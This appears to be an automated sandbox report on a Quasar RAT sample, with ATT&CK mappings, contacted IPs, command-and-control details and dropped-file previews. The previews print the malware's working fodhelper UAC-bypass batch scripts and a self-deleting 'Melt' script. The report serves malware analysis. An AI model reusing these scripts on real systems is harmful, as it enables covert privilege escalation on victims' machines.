Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 2 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c del "C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 /nobreak

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Queries volume information: C:\Users\user\Desktop\Dd5DwDCHJD.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Queries volume information: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Queries volume information: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Quasar RAT

Source: Yara match	File source: Dd5DwDCHJD.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Dd5DwDCHJD.exe.cb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1741000374.000000001BE36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1662187645.0000000000CB2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dd5DwDCHJD.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Client.exe PID: 7452, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, type: DROPPED

Remote Access Functionality

Yara detected Quasar RAT

Source: Yara match	File source: Dd5DwDCHJD.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Dd5DwDCHJD.exe.cb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1741000374.000000001BE36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1662187645.0000000000CB2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dd5DwDCHJD.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Client.exe PID: 7452, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	11 Input Capture	1 Query Registry	Remote Services	11 Input Capture	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scripting	1 Scheduled Task/Job	1 Modify Registry	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Hidden Files and Directories	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Abuse Elevation Control Mechanism	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Obfuscated Files or Information	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Dd5DwDCHJD.exe	74%	ReversingLabs	ByteCode-MSIL.Backdoor.Quasar
Dd5DwDCHJD.exe	74%	Virustotal		Browse
Dd5DwDCHJD.exe	100%	Avira	HEUR/AGEN.1307453
Dd5DwDCHJD.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	100%	Avira	HEUR/AGEN.1307453
C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	74%	ReversingLabs	ByteCode-MSIL.Backdoor.Quasar

Source	Detection	Scanner	Label
http://45.83.244.141/Files/Install.exe	0%	Avira URL Cloud	safe
http://45.83.244.141	0%	Avira URL Cloud	safe
http://crl.microsoft.	0%	Avira URL Cloud	safe
193.31.28.181	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.35	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.83.244.141/Files/Install.exe	false	Avira URL Cloud: safe	unknown
193.31.28.181	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	Dd5DwDCHJD.exe, Client.exe.0.dr	false		high
https://stackoverflow.com/q/14436606/23354	Dd5DwDCHJD.exe, Client.exe.0.dr	false		high
https://stackoverflow.com/q/2152978/23354sCannot	Dd5DwDCHJD.exe, Client.exe.0.dr	false		high
https://ipwho.is/	Dd5DwDCHJD.exe, Client.exe.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Dd5DwDCHJD.exe, 00000000.00000002.1729416327.0000000003351000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000003.00000002.4123066186.0000000003479000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	Dd5DwDCHJD.exe, Client.exe.0.dr	false		high
http://crl.microsoft.	Client.exe, 00000003.00000002.4131360857.000000001CC79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.83.244.141	Dd5DwDCHJD.exe, 00000000.00000002.1729416327.0000000003351000.00000004.00000800.00020000.00000000.sdmp, Dd5DwDCHJD.exe, 00000000.00000002.1729416327.000000000368C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.31.28.181	unknown	United Kingdom		46261	QUICKPACKETUS	true
45.83.244.141	unknown	Germany		395800	GBTCLOUDUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582962
Start date and time:	2025-01-01 05:56:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Dd5DwDCHJD.exe renamed because original name is a hash value
Original Sample Name:	6d6c9c719e2f757442374af378c343a7.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@50/11@0/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 99% Number of executed functions: 28 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.22.50.131, 2.22.50.144, 199.232.210.172, 199.232.214.172, 217.20.57.35, 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Execution Graph export aborted for target Client.exe, PID 7616 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:57:04	Task Scheduler	Run new task: $77-cmd path: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe
23:57:07	API Interceptor	1x Sleep call for process: Dd5DwDCHJD.exe modified
23:57:09	API Interceptor	14224426x Sleep call for process: Client.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.83.244.141	YJaaZuNHwI.exe	Get hash	malicious	Quasar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	46VHQmFDxC.exe	Get hash	malicious	RedLine	Browse	217.20.57.43
	Payment-Order #24560274 for 8,380 USD.exe	Get hash	malicious	AsyncRAT, PureLog Stealer, zgRAT	Browse	217.20.57.35
	PersonnelPolicies.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	217.20.57.37
	EiO4tqZ3o4.exe	Get hash	malicious	AsyncRAT	Browse	217.20.58.100
	wce.exe	Get hash	malicious	Unknown	Browse	217.20.58.98
	nXNMsYXFFc.exe	Get hash	malicious	Unknown	Browse	217.20.58.100
	5RaYXoKFn9.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	217.20.58.98
	msgde.exe	Get hash	malicious	Quasar	Browse	217.20.58.99
	atw3.dll	Get hash	malicious	Gozi, Ursnif	Browse	217.20.58.100
	WRD1792.docx.doc	Get hash	malicious	Dynamer	Browse	217.20.58.99
bg.microsoft.map.fastly.net	rename_me_before.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	199.232.210.172
	2VsJzzWTpA.exe	Get hash	malicious	CobaltStrike	Browse	199.232.214.172
	2VsJzzWTpA.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	YJaaZuNHwI.exe	Get hash	malicious	Quasar	Browse	199.232.210.172
	O782uurN5d.exe	Get hash	malicious	DCRat	Browse	199.232.210.172
	bKxtUOPLtR.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	199.232.210.172
	46VHQmFDxC.exe	Get hash	malicious	RedLine	Browse	199.232.210.172
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	199.232.214.172
	GYede3Gwn0.lnk	Get hash	malicious	Unknown	Browse	199.232.210.172
	Qu3ped8inH.exe	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
QUICKPACKETUS	3e88PGFfkf.exe	Get hash	malicious	DCRat	Browse	185.230.138.58
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	198.22.235.170
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	198.22.243.54
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	172.98.171.129
	surfex.exe	Get hash	malicious	RedLine	Browse	185.218.125.157
	c2.hta	Get hash	malicious	XWorm	Browse	193.26.115.21
	armv5l.elf	Get hash	malicious	Mirai	Browse	23.133.3.186
	elitebotnet.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	23.133.3.168
	loligang.x86.elf	Get hash	malicious	Mirai	Browse	185.225.234.108
	c2.hta	Get hash	malicious	XWorm	Browse	193.26.115.21
GBTCLOUDUS	YJaaZuNHwI.exe	Get hash	malicious	Quasar	Browse	45.83.244.141
	nshkmpsl.elf	Get hash	malicious	Mirai	Browse	194.31.197.248
	58VSNPxrI4.exe	Get hash	malicious	Unknown	Browse	45.94.31.128
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	5.183.206.192
	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	154.37.70.165
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	45.11.15.123
	botx.x86.elf	Get hash	malicious	Mirai	Browse	154.37.105.101
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	2.58.149.182
	sparc.elf	Get hash	malicious	Okiru	Browse	154.37.39.10
	VzhY4BcvBH.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse	212.87.215.19

Process:	C:\Users\user\AppData\Roaming\$77-cmd\Client.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Roaming\$77-cmd\Client.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.233705726912275
Encrypted:	false
SSDEEP:	6:kKf++i9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:XBdDImsLNkPlE99SNxAhUe/3
MD5:	168C641105D970A3E10B699BE7980AC5
SHA1:	31D63E81F8DCEED5717CF7C1AB463C86F2611A7C
SHA-256:	783A0AE29F6469B866FD1C2B3CCA6586B4FC17A5BBAC4C2676A829F7105B4FEA
SHA-512:	561C29B4E029A4FB49677F957750A9385695387A90004E5B6E659230968531669A55617DC9D49103ECD316E8708DB39EA82B342DE96E909A61AC4428D6A18304
Malicious:	false
Preview:	p...... ........h.+,s...(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Client.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\$77-cmd\Client.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Dd5DwDCHJD.exe.log

Download File

Process:	C:\Users\user\Desktop\Dd5DwDCHJD.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Roaming\$77-cmd\Client.exe

Download File

Process:	C:\Users\user\Desktop\Dd5DwDCHJD.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3268096
Entropy (8bit):	6.078613024479684
Encrypted:	false
SSDEEP:	49152:HwElUPhZwv68DkG17WlqTz5oqM/p7vGJfAHdkTHHB72eh2NT:HwYUPhZwv68DkG17WlqTzeqM/p6t
MD5:	6D6C9C719E2F757442374AF378C343A7
SHA1:	A58A2AA6DAE2DBDF64472614985CAC2ADCE4EDDB
SHA-256:	444C97F6DB0626069965D9E4DDB4BF315326954C51B123B3DC7D64084E7FB646
SHA-512:	A3EF795E64B1D43CA300DA97ABC7D211E5987064C1C7CAFA7A1DADCD1CB35902FB230F5B8E9A008CED4BC1D33573403BAD2D99A4CCCA9B6B749355110EB10210
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, Author: Joe Security Rule: MAL_QuasarRAT_May19_1, Description: Detects QuasarRAT malware, Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, Author: ditekSHen Rule: MALWARE_Win_QuasarStealer, Description: Detects Quasar infostealer, Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, Author: ditekshen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... hg..................1...........1.. ........@.. .......................@2...........@...................................1.S.....2.<.................... 2...................................................... ............... ..H............text...$.1.. ....1................. ..`.rsrc...<.....2.......1.............@..@.reloc....... 2.......1.............@..B..................1.....H........................m..p............................................0..M....... ....(.....(...........s....(....(...........s....o....(.....(....s....(........0..8.......(....(0....s....%.o....%.o....%.o....(....&..&...(.............--..........00.......0..@........o....,7(....(0....s....%.o....%.o....%.o....(....&..&...(.............-5..........08......f~w...,.~....(....(.....v.(.....s....}.....s....}....r..(......(.....(......(....*....0..L........{....r...po....

C:\Users\user\AppData\Roaming\$77-cmd\Melt.bat

Download File

Process:	C:\Users\user\Desktop\Dd5DwDCHJD.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.785213142628158
Encrypted:	false
SSDEEP:	3:2EKDDCMN2Rqw4ohesNt+WfWhBueAovn:0WK2MohesNwvjAovn
MD5:	5904F86D2AD73FFF59F5D75388703D11
SHA1:	E6B9C228BE16CDFACD28A96B96837FB821316B7D
SHA-256:	746CC688BB1FCFED20E162501033ED0F2C8AF30498AC213771AD6EFE3D40DFBF
SHA-512:	2510B7F01D7899331FB5179CF59129B364CD6B7163585BFEB8A439742AFE175F3D06AEBB3DFC4360699F4A1143AF6E774CD3B4A1D76FC2CEBE1A17F2B9AB0650
Malicious:	false
Preview:	..@echo off..timeout /t 5 /nobreak > nul..del C:\Users\user\Desktop\Dd5DwDCHJD.exe..

C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat

Download File

Process:	C:\Users\user\Desktop\Dd5DwDCHJD.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	368
Entropy (8bit):	4.954112017079806
Encrypted:	false
SSDEEP:	6:0mRmsERKtpIpGj5t6qUEioB1ERSGPUwknaZ5IBAtNQDNB1ERSGFPC4aDzyL6t2r1:rosERKXgIdERSgXrHIBA4DBERSSPqzw1
MD5:	6707B11BBBCA158FEFA9282219BB2C46
SHA1:	643DB9D4609BEBB11469171ABE6ADCBA6B31A5C8
SHA-256:	594104979020617468418F22372187074303FD9CE023EF34659820505B8BA434
SHA-512:	2625D675CF7448E1D7356304335ECD23145A75D6BDCE36DE8DAF349E092638A65DB3C319ED2561DA6B5FB3A283F61EEBD423F6CFD85F16392D83D2572C44E5A4
Malicious:	true
Preview:	..@echo off..setlocal....set "regKeyPath=HKCU\Software\Classes\ms-settings\shell\open\command"....reg add "%regKeyPath%" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f..reg add "%regKeyPath%" /v "DelegateExecute" /f....start fodhelper.exe....timeout /t 2 /nobreak > nul..reg delete "%regKeyPath%" /f....start /b "" cmd /c del "%~f0"....endlocal..exit /b

C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat

Download File

Process:	C:\Users\user\Desktop\Dd5DwDCHJD.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	401
Entropy (8bit):	4.9261357217003265
Encrypted:	false
SSDEEP:	12:rosERKXgIMg08ERSZ/ERSgXrHIBJDBERSSPqzw1IhDg08ERSlig:roGXKa/YUDvE2alV
MD5:	7D0AB3E473E307076972E67134EADF4C
SHA1:	E703A39E96F905B65B340B8DC13ACC2F900BB6B1
SHA-256:	32D20E94A0C69B70B38CE7EB877AD11FABD2FCA26C042BB7F11A1C2A24F74447
SHA-512:	0B0303F648CDA846EA8832172767B6304DC09DD1C32660DA0F5186A82DC75FF6E6826BD4A79A2C1A301E675AE255684DEBF4991A290CFE645B51458E87C367B0
Malicious:	false
Preview:	..@echo off..setlocal....set "regKeyPath=HKCU\Software\Classes\ms-settings\shell\open\command"....reg delete "%regKeyPath%" /f....reg add "%regKeyPath%" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Install.exe" /f..reg add "%regKeyPath%" /v "DelegateExecute" /f....start fodhelper.exe....timeout /t 2 /nobreak > nul..reg delete "%regKeyPath%" /f....start /b "" cmd /c del "%~f0"....endlocal..exit /b

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.5991860770036785
Encrypted:	false
SSDEEP:	3:hYF8AgARcWmFsFJQZaVy:hYF/mFSQZas
MD5:	471500D11DAF370CB75C597A4B1A7654
SHA1:	1AC2D4BDA1A30E09287F680C2AD75C577B096898
SHA-256:	C751BAFF37E4DC361F2C77BCC6B356159CC6178D1642244CBCD764A8DDE409B9
SHA-512:	DB81C5CE33D78E5618F41738129B5E623300CEFF188D99E7173E4E524107EEDED4C3BE2F15AC4715D3D10EAC23E39841978BBD42326E5C4E016A2B938C37A855
Malicious:	false
